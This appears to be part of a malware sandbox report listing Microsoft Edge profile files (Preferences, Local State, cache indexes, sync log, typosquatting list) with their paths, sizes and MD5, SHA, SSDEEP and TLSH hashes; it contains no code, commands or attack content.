SSDEEP 384:sxZVni4QX/fOs2+PV7orJ0Ys9Of/b9ajL/BrAA2:sdi1X/fw+PnYh/b9cBe
TLSH
T13F92E7176524497B9EE7D229F942B763D2FD1123D5844E48DAFC8B0C10F6BED221782B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 19KB
SHA256 e28b69aa3dfce598a6ddc1b4335b3ee913a3e13d758aa247608658d49798811e
MD5 b81a219c108763f309b1ece46e908a54
SHA1 801b803e29e302e0bb608ddc2ffda416f1fa188a
SHA512 ce3476911a8bb76dff2dabd752e4ae5b65918a1e5169856e2dd80826711cd75dfa42d64ab6bd00c3d6a1ed12aaaa40b58eabda4b1927d7777f4742b65a8e014f
SSDEEP 384:sxZVnM4QX/fOs2+PV7orJ0Ys9Nf/b9ajL/BIAAe:sdM1X/fw+PnY6/b9cBx
TLSH
T18892F8176524497B9DEBD225F906B763D2FD1123D5844E48AAFC8B0C14F6BED220782B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 36KB
SHA256 d3edbf217eaab7744245be6c9d1c16b85db752b4143e5f2057aff01d59fdec62
MD5 9481e770305e26c7efcd2c78fdb5e762
SHA1 7b57ebbd31d4fa24b2808a351670226cd716a3b0
SHA512 59f8600fb22dad2729fdceca34353d7f66991fce7e1a2dcfacb704cce8d7db8ae2dad11a142559649d98243f8b7d92a3282241d0437beb01664c9670fa8a2bf9
SSDEEP 768:XwZh38Dv2S47pLuLnZFWRm6GQFm8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3IGq9Llq:XwZh38Dv2SkEnZFWRm6GQFmu1jaKIGqK
TLSH
T1D2030A3B280CCB7E4F844E9CED267F8A6DE8028B56988D5447FA894C03C66EF15175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

4f2277ea2139c475_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\0c2350ed-43be-4160-9475-f2d7cc98fd47\4f2277ea2139c475_0
Size 61KB
SHA256 0c210e51ca490f25a438c3ef231cbd26333fc4baf899c0c0408e6d403347710c
MD5 f4f1b444a5ba6f67bbe9260e4b7b6483
SHA1 8e6d4519e7384263739f5fee19d267c221e1e900
SHA512 96bfb26c2c0b8b12c668d2dcd22e9744f4a237f537f3455ffd3ce96b13391e9f8fa42a0a11a09d55720b3bc1224c741d93ed44971789dddcc33163e01547ff0e
SSDEEP 1536:cejrgqf8xfuWXVBYsrEMoKg0E71Q/SOZCXB6eWGHHPwqpzGx/U:ciYfuMVBYslg0yu/hq4/U
TLSH
T191533997B062603587AD21E664A77F00F12B17123544C9E8F0BD7A913F19E8B6277AFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\0c2350ed-43be-4160-9475-f2d7cc98fd47\index-dir\the-real-index
Size 72B
SHA256 c74469cbde5c4c5f5dd923b6f4e41794e493ee854254d2cc94a24e4056b353ee
MD5 0291adf92879cc22052b55c9b23c8a96
SHA1 13a881a2cccc44130585366428ddc2375b885c42
SHA512 63588fadd32c744023e48ae838a5c9687137d4911bf4a5de17288ed3dd75cec26d36efb49d08af32aec0c268361b61523c34f9b222535b9baea4a4da13293051
TLSH
T1F6A0022101E8128BC103C7B096E2457127546C5AA1425705529106558C5117A5613594
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2261811e-db42-4052-9775-ba1c4bcc9e08\index-dir\the-real-index
Size 3KB
SHA256 c1289ea877a7692748c9189dc065d3556701fb148521180f34307a862772fbfa
MD5 c99f7a48e7be3d5c337b9e1ae36f6580
SHA1 d697fa9711c427fdd1834e6752da9440073557a3
SHA512 3aa2f86ed36c70d0866134acd92c3d97987bff1d36c1fcf0ec149e711a6cdc94384310d1e3e63f729ad2f6eb4eee0efe69eaacb6e82ac3776c5d3d5365c3af12
TLSH
T1EF51A50E4C422A96CABC41B295F30C113B7C98ED1B81CE1B44FD40BAAAC73A56969228
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a5804.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2261811e-db42-4052-9775-ba1c4bcc9e08\index-dir\the-real-index~RFe5a5804.TMP
Size 2KB
SHA256 b2df3c5dc92d85dc0df511db85a4125d13948cb533b5e702bc8db7053c7ea45f
MD5 3dfdac7929d3614e35cd873c238230fc
SHA1 089a29d89e8eadec6fb9047c6bac5e5d3d1bdf59
SHA512 d47c0b75557174f503b69a599b0fa7d14fff9a926785dee921615eba1f5ed3fdbd2b8c4f562f480844a1795a701b9a1dc086e459ac78e18a8f6956fc84ae66f5
TLSH
T15651A85E5D424639E8D4417709E3A8B437391900C719BF5374FC9632AC9379E3D0E2D9
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8c8d9706-d147-4773-84f7-c6f620552bef\index-dir\the-real-index
Size 72B
SHA256 f3d6b2b0541755f7bebaecc054165e0b1db5d4c983d260b9ec10cd02e5c95b4a
MD5 89856f20eb9aabff8f0a5ddce4f4f954
SHA1 1aac91ab44aa050e2f1eb5624bb561b30079705a
SHA512 a0e296d63a93d27f02e3549117c76e97c1833d22a4750654fe5fc63155fce476055d7547fbd8e3c2a3e50e5d940874600a030fd6b6649a10ef002343652ea155
TLSH
T18BA0025006C02007D00323F125D3826162188910F211220666929348CCD4664C14784C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a3a0d.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\8c8d9706-d147-4773-84f7-c6f620552bef\index-dir\the-real-index~RFe5a3a0d.TMP
Size 72B
SHA256 c3c6f078ede69011f9fc82098a39be34633091295d31f71917edc0bf09a7bbd1
MD5 a4b1b160e828fb7774b0072f6f101a9c
SHA1 d58174ecd1bc668540f739ce63c583b16f122630
SHA512 b2d654249e2ffa62029153a83ac75c3523cc47f41889bc64b58b333702e305cec9b97d06bd15e347853decc48fcb3bb566df7cfa2ec8c2ae74df36de076a079d
TLSH
T14DA0022263A00006D05391B2255A0341A340C8102144130780E140BCCE524D15E4380C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\c6ffad71-88d2-49a4-acc6-f241f488a5d9\index-dir\the-real-index
Size 72B
SHA256 ace264fc4571865025dadfc3a6ecddd3171ec1dcb1e3bb92796718b5bc99a547
MD5 c5fe58a59121ce672e750d0808d8e3c7
SHA1 c54d90ba53e41ad70d68ded77366f46d47d1bf5b
SHA512 fc507cb0c10a53a5250f16a4ba4d397a635d54537bab4a62385a32547cb910c27d74bca5e0c253dc149b59518435cd62b8915ab1ad04db5af7580ce378ba6b6c
TLSH
T1E8A0027485834081E3C8877621E35A583751EC650DF22E11C3E1B164DC546545201011
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a370f.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\c6ffad71-88d2-49a4-acc6-f241f488a5d9\index-dir\the-real-index~RFe5a370f.TMP
Size 48B
SHA256 90e0e77550c1e9f377f27a21d7e18a41d660005a4d2c9d18d35c63e17f5cfa67
MD5 9df31a05bb7929dbcc24a912015d7d78
SHA1 0de84cbbf8daed83f80c4bd6fb18cf4125ecc28a
SHA512 d421c0c4933c83aaa9028b0161a1963f9c2c9c484bc534c0c5c028ce264687d299e0c27ec8de53bc6d5307df1a1aaf28c7c1e7fff5b86635507fb6db2f58a2ec
MD5 SHA1 SHA512

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 476B
SHA256 4b678748cabff48b057281f4287aaa9db6e90a7e4384606b6bce0c2b791bfc93
MD5 6e4a7b4dab7d297511628e5cb246a3b2
SHA1 2d263015b64b2b4dec0e39cbc9e310ba84bd91e6
SHA512 15f452f81fa76c8505e8ceb60a40a61e404145153908841b8df56e210f7ee54efa594e4423c3097dfe9927ab8aade42e99eceb535ba09ecab9eb30f3f9be69a4
TLSH
T170F027F75DE62C14FA9BC3D224724665080639698514ED5F241BB3939071739285DC62
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
Size 481B
SHA256 0d244692fedd77e29e80debcdbac827befd3971205c20ffa4db4e1417c7e6491
MD5 0c007de7a9dbe840dcf1cb8b23ccc5b6
SHA1 bdda1629305358f8949745d43fe6363149d9f697
SHA512 78f966c3b15b5b2b5d63a2b872b34e07abe9072c2a80e38cf24361064d1252e5d4777774a5e79a13c4b79418230901714e03e814d69f53f69e902ba229c3f88d
TLSH
T1B2F05CF72DE72D04FE9BC3D2247201B908157D698504AD1F141BB3D7D0B1739289DC62
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 96B
SHA256 254bfd5ad20c687b81dd2d9807eb5e030e2f8d4f4d3a9913da2a7529c2bbdc4a
MD5 292044b8d46183aebd34b00e299e7701
SHA1 ca00cfd0560fc008b41f5d8879a846b7c2288eed
SHA512 ffd5e88d5b4c73ca30a2e6306914fa7e7ee730857ffce0fb87c5bc5bf0ae76cd11472073de00c768900b5750ce9030d7bcebbdc937b36e3c91e7032022e979a8
TLSH
T1B5B022030C0C30C2C3EC0BB0E88200CC322C2C223B8A3028C0F800B0ECE03A0C20AC3C
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5a5d54.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe5a5d54.TMP
Size 72B
SHA256 4c7067312a4a954fca855fffa9f001100bf00cbe6483f232bbfc5f30b79db9bf
MD5 74e3ce642edc42ba9142a64392abf517
SHA1 33bd4aa9fd0e634ce19938cc1da141b12c9b2e0d
SHA512 de2b47ac30630cdde37d924b6ca83b694063ef3704ef7c9efacf328dd4bde39efeca2bdedacd670703e63078c7cf705e9d8a9923584c04827caef40792bb1ae9
TLSH
T19BA00212D26A1809D40446B1A00B63B0A750C8590211130659D1A0ACEDD51E1556E909
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 01d2d3f08221e2668f3109d677a79963316aacc1b7a4d41a7f08089af5784ca6
MD5 f981b2ddbc1e3e5e1ed79411cbb33294
SHA1 de23f55ea85adda429e15331c9d9bb04ce80ba4a
SHA512 50deff6a73c463dfdec53703194f10f4939023699b179c24eda4953a153407dea0d25457a47421407c8c9054a02168ea6fb8aa32cb9af130e7df3fd4c646806b
SSDEEP 192:cFkbIH791le1K77LTl56jbSp+bv+TVCNnCtTq/tVZ3Kjlp5tb:ctGj+BCNC5qFVpKxpPb
TLSH
T14BB2461632BA02023C3E791D87A597371A42B2733418E93B7BE954B64E67E214DFD8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

f176cc2e-a260-45a2-9d7b-b41967a82c8e.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\f176cc2e-a260-45a2-9d7b-b41967a82c8e.tmp
Size 15KB
SHA256 70af211423d6056af60cd6217836571a525617a3bcb00cc636ebdda7b3c66252
MD5 4c634e1f32ace63c038ba78e7c7e1230
SHA1 7dd333bb7f798936932a0987bf4db0fc6326d103
SHA512 fc8a01b26bb6eb840fdcf58f0d14e3664338c6fa221ca6124b6b020e5ad476362ab4e496edc1576b1ba55638bf4fa5e60d107cb0a131769a2af952e3cd0bfc88
SSDEEP 384:sxZg4dX/fOsP+iV7orJ0Ovt/baa/5ljJni:sIMX/fZ+ins/bag5W
TLSH
T15572F8166A3459778DDBD319FA457B53D7FD162392804E48AAFCCB0C00E6AED221782F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 904bda020a691ebfb47e8e482b4f8c1503cec4a22bc2c01dbe675433e477220f
MD5 0e67c4d3d03bf72d7d182c3ae97d2a75
SHA1 50d6b08b6f0c74bc213b576f557a7f7c867eec4e
SHA512 08e6762500c6e9e2ba2af710890e985d2d4e48323e5f2c40675573565ecddb88e610c68a3fec9448359532391aa8bc5b5f953f0173c8633aac94fbd2df1fb7b4
SSDEEP 768:TFEjZbZ3twgBIqv8toMbj3i7vBST+R2VkWG:aF3FIdy7BStkWG
TLSH
T11BD24C339864C9A7EDE74FD5A74E3643EEE80267858C5EC8D9D85E0D00C729E134BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 13be07ed332e2488a83e5d27706f825094dcc9af0487b3d1b7445d5e1defb5f4
MD5 78dd01734e80a88694eeb876fc939c5e
SHA1 fd2e66455903e788defe4f3f520d287dfa94c00f
SHA512 9ca253a4b8ea024a7b1e59c12724d94c7beb5c6c86fd8dcbf3838d936655fcdb22c73b5bb1141f510c4525890563569c06071cdcbbec84227797b1e92da73a0b
SSDEEP 384:npiF9CcmyWCs38Nf8TUNTUlIxBrk6oa3VF1zCfbHoMacjXSve4KV8p0WMty/7Ig5:AFccps34wg4G3VzqoMbjXSvI8p0S
TLSH
T147C25C36EC98CAB7ECDB0F99E74A7603DDE05263869C9ED8DAD85D0C008719D174B827
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 3081f5d0165be93a3fa708d3de14c1a045738ba6618e7bf0df1ddec72ab8bf27
MD5 efab88cf469e766bcda3dc93a973a739
SHA1 b07aa23ac6d3a7b717601599e49b098abf1f8ac2
SHA512 cc387360eca922ab3f9e985fb63c4619d82da97af06f9a6eaae6ed712c486a2dc453f6af5ac8201c0ef22af2095856c7abf2e6df53f90f6fd8e0617b258acd5c
SSDEEP 768:TFKjZbd3twgBI/v8qoMbj3i7vBST+R2VkWG:Yx3FIZy7BStkWG
TLSH
T143D24C339864D9A7EDE74FD5A74E3643EEE80267858C5EC8D9D85E0D00C729E134BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 10ded62a37edc7bf580c8e7b7461977ad3222ebdaededf40f53d826e8b614707
MD5 a1738d593deb9bbc9a9b1533ec954311
SHA1 c0c7dcf05b50ce49c485295c055d598ca643ca13
SHA512 ca1a1d2f3585bb91547c5e2de53b0b832fdded0faedca8e26def542f8c7ff448dddb18e539a54bec2eccdad81bc6be0c9a16a35e0f81fec45ebdb7c53d4a90fc
SSDEEP 768:rF1jZb03twg6n0qoMbj3MLvBST+R2VkWG:dg3eBcrBStkWG
TLSH
T1B9D24C339864D9A7EDDB4FD5A74E3643EEF40267898C5AC8D9D85E0D00C719E134BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 007892e8b5f0b940ff417e5ecf3649f8cbc0496e6cde8c8cc3802201491e9035
MD5 2abed01cf7907b072a7b1423233da21a
SHA1 ba61786b81823ec17739a0eae4d133398fc2749d
SHA512 a0d0b520453649bde6434f2aad45ee91072abea73582b5ed142bc70b17213ebb4bec04dd6909c705db9b83f252cb267df39f6ed628e41859cf97e60bccbaa1c4
SSDEEP 768:BFxjZba3twg6T0qoMbj3MLvBST+R2VkWG:LO3+NcrBStkWG
TLSH
T16AD24B339864C9A7EDE74FD9A64E3643EEF40267858C5EC8D9D85D0D00C719E134BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 362ba62e9625ccb2d7222a12d9c915598e74defc9be05fe511b00268a4a337f6
MD5 6595b6d25d4d499beccace35d29aa70b
SHA1 f658f3760ccca22bd44124392c2edc6f1853aa8e
SHA512 640186bff1c581ab04c5c922e1ce89e58fdf89ec7228e8fd9b03888d1c1d5ac0d677acf723d145266d6dacccd7766822827906f4f7d1e48b63491246e3410cfb
MD5 SHA1 SHA512

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 ce68ea6673263357d8970307dddb33276d07cd278dd99968c273fb96aa8fba7e
MD5 9d7a527a24cda3b4c7ae62fcbaf315c3
SHA1 abd51a706ada59a3a6d698a3bd7edc0b0f7e5e7d
SHA512 42cadbd22aa7612f52530cb8d450723c05ed1d5297884d91c33f39ea985b7588fd501b68370945d4b3d1d9ab7d5eee2a94d7d30c240fea33148bc1287c39803c
TLSH
T12DE00221930045BDD03C03315047D63066D3802001F10305191509582C267411B32FC4
MD5 SHA1 SHA512 TLSH

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 c69cf5ba735b0100b903be53f4e3b84e93a7b71e730f20cdf0959389f5a5f2c4
MD5 e48c3052182169377eec449178e00b11
SHA1 3807a6b16c50681db3e42ca1bb2f3ddede4b8d34
SHA512 29f9ef1a91b0351214f32ced93e80faa72ec0c5cfae2ecd78b34cfffc172064099c82a16c02b60537b4966d1de4afa630f25799c75ea10135c83df58cad816ec
TLSH
T1E8E00167D70045F9E03C033150879B357BF3803011E713491E650A583C667412E32EC4
MD5 SHA1 SHA512 TLSH

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 4ac34523d1ee22cc122025c0db06032e389e57e37940d33c6a32dbc1e0b0c9ce
MD5 acc638a43597c0f4e26a6f45925b4b30
SHA1 f6ac411f50c6add205243728d744bd34c46b1390
SHA512 4ae919b4cc3635ddb8a80a383fa3bc72ba0ea948ebb3abf84fc6b13df5d4422bc9c5cc0afa9c2584d04a23395bf2877c5a1c7c2d5d4342197010a9a41fba96c6
TLSH
T161E00122D70045F9E03C03315087962466E3803011E112051D55095838666411E32EC4
MD5 SHA1 SHA512 TLSH

Submit Download

RevisitationBloomfilter

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
Size 392B
SHA256 f08b01d219fb836b543bc90e3df1a3327518be2cd63a3c7b1527583969b4e952
MD5 8a80e7540a1d0ee68fbe5f680432449c
SHA1 a48b3904e7b61fa1f7e4a88edf833e916112c950
SHA512 d1b4d3d26e73cd9d21e9d8fa6d8aefa2d6545e5e3fc87229412fb1b9f40445002b3d32d94c06c41dd6f9ecfa4b55604106ab813874e046791b472daa6a0e11e2
MD5 SHA1 SHA512

Submit Download

typosquatting_list.pb

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2026.5.28.1\typosquatting_list.pb
Size 507KB
SHA256 b34c96309ee41ff6d06dea8e605991b9b8c4d67fb4885cde883350c3b5ad674d
MD5 60b2b141019ad9ca0918db29dce42c12
SHA1 574e04a0a62023df2271a4633378f57320d33c8c
SHA512 918e6ea325b74876026691a37440441ffd3be78736595127ce77288e0bf3ab8597d52c62f94956f5567d1f985c2d38fa82f288ee330f8282f0e804ec2dc06b14
SSDEEP 3072:diBzZPXsIPv9aayls9OPzItqVCLWtQAMDvUlDetL81QFh9QGFFXaYllJzCWCD43s:ozZsIPv9akA0WuIDo/FhJFXNfFw43s
TLSH
T189B4C5B9DFC00194DB78112D20BE71D8181412A580E9DFEAFE7D855F2BC2AC977E85E8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 0c4161c58e9152992f588361579a3e42bd207f232f17c99aac2af36b1bd3209f
MD5 73c16f4fcc0e6258d3357df369949885
SHA1 a900c3232e31e74600afe293e1b9c08ea9f67ea1
SHA512 e27fa036cf5f5cc57ada893f531ee6ff623975ed11465208079973cd039019d0c775f6b6a6c396576a423ae34603e63ce8402d49fdc982d296f8d1dc1c8a14d4
TLSH
T147515DE14C7D2AC0D4BD0A6F608B38FC82E8D635F5A034392854EA890979A2CB48583F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 2KB
SHA256 0186b92294e7f94bd315d9c1d64a0f0245b36b024e1c943e0a5995e05dc23533
MD5 509c091d91ff3aa0c102172431a4fc31
SHA1 33f19f5dca042924c0a2d191ea4e3303dc0d2d93
SHA512 18fbc162db36f718d28c33cc8c054711391c309a4f1fb193c11a3c5a7ac2e099e52f1c0b850ea694f09b7ae149043ba26e17af385d1feb98d300d68fb6ec5eb9
TLSH
T1AF514FE14C7D1AC0E4BD0A7F608B38FC85E8D725F5A034792854EAC90A79A2C748543F
MD5 SHA1 SHA512 TLSH

Submit Download